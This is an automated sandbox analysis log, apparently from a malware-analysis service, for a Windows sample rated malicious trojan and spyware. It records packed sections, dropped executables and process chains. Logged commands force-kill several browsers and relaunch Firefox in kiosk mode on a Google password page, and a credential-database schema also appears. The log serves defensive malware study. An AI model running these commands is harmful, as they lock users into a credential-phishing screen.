Source: file.exe, 00000000.00000003.1851427153.0000000006301000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868430023.00000000064CE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860200062.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868770266.0000000006397000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849689011.000000000637A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851538047.00000000063B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850451207.00000000062E8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855848264.000000000641A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867547023.0000000006390000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864833034.0000000006498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868941880.0000000006245000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853824787.0000000006242000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862510871.0000000006358000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867888910.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861853503.0000000006470000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857354464.0000000006249000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854603356.0000000006243000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850349891.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863941612.0000000006244000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849866957.00000000060A2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854203935.0000000006242000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855440693.0000000006331000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858685948.0000000006423000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859669609.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1871689516.0000000006243000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852187825.000000000624A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865443519.000000000637A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853667090.0000000006325000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867345199.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852655724.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862959283.0000000006470000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1847445002.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853524306.000000000624F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849945609.0000000006251000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868078317.0000000006383000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850251440.00000000062E9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857637786.000000000633A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856394650.000000000633A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852880531.0000000006307000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851969421.000000000630B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860694324.0000000006449000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859060174.0000000006245000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866656848.000000000638B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869110277.000000000639A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849406201.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850672383.000000000624E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863565576.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849213326.0000000006249000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863719957.0000000006368000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864673409.0000000006367000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867141744.0000000006383000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849308948.00000000060A5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849579597.00000000062DF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858309828.0000000006245000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856115066.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861650184.000000000635E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865607164.00000000064B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852324714.000000000630D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853022397.0000000006244000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854464080.00000000063FB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850051756.00000000062F2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868601383.0000000006250000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864403428.0000000006248000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849048474.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863273562.000000000624F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854334393.000000000631F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853169759.0000000006302000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853973370.000000000631F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864251769.000000000649E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850783433.00000000062F3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869278089.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854935356.0000000006323000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864093249.000000000636F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865261330.000000000624D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851746238.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850149668.000000000624C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849768807.000000000624C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865781954.0000000006249000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866889980.000000000624C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1847445002.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854088925.0000000006401000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856604159.0000000006250000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855288604.0000000006243000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852544896.000000000630F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851019318.00000000062FC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862123410.0000000006247000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202
Source: skotes.exe.3.dr Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: skotes.exe.3.dr Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202
Source: random[1].exe.8.dr Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: 3e1d30d118.exe.8.dr Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: random[1].exe0.8.dr Static PE information: Section: rcutauay ZLIB complexity 0.994974856856038
Source: c077ee22d1.exe.8.dr Static PE information: Section: rcutauay ZLIB complexity 0.994974856856038
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@53/21@15/6
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\910S1Q63XQ87I6P4.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4124:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.1715065548.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DBC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600140560.0000000005906000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.00000000058EC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: SP29EZJLUAF4OXVNPKLP.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe "C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe "C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe"
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe "C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe "C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe "C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe "C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe "C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe "C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
